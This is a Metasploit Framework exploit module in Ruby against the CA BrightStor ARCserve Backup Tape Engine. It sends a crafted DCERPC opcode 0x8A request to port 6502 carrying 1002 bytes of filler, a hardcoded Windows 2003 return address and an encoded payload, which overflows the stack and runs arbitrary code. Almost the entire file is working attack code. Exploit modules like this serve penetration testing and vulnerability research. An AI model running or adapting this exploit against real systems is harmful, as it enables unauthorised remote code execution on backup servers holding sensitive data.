##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = AverageRanking

	include Msf::Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
				r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
				the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '68330'],
					[ 'URL', 'http://www.metasploit.com/users/mc' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'BrightStor ARCserve r11.5/Windows 2003',     { 'Ret' => 0x28eb6493 } ],
				],
			'DisclosureDate' => 'Oct 4 2010',
			'DefaultTarget'  => 0))

		register_options([ Opt::RPORT(6502) ], self.class)
	end

	def exploit

		connect

		handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")

		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		request =  "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
		request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

		dcerpc.call(0x2B, request)

		sploit =  NDR.long(4)
		sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")

		print_status("Trying target #{target.name}...")

			begin
				dcerpc_call(0x8A, sploit)
				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
			end

		handler
		disconnect

	end

end
=begin
/* opcode: 0x8A, address: 0x100707D0 */

long   sub_100707D0 (
 [in] handle_t  arg_1,
 [in] long  arg_2,
 [in][ref][string] char * arg_3
);
=end
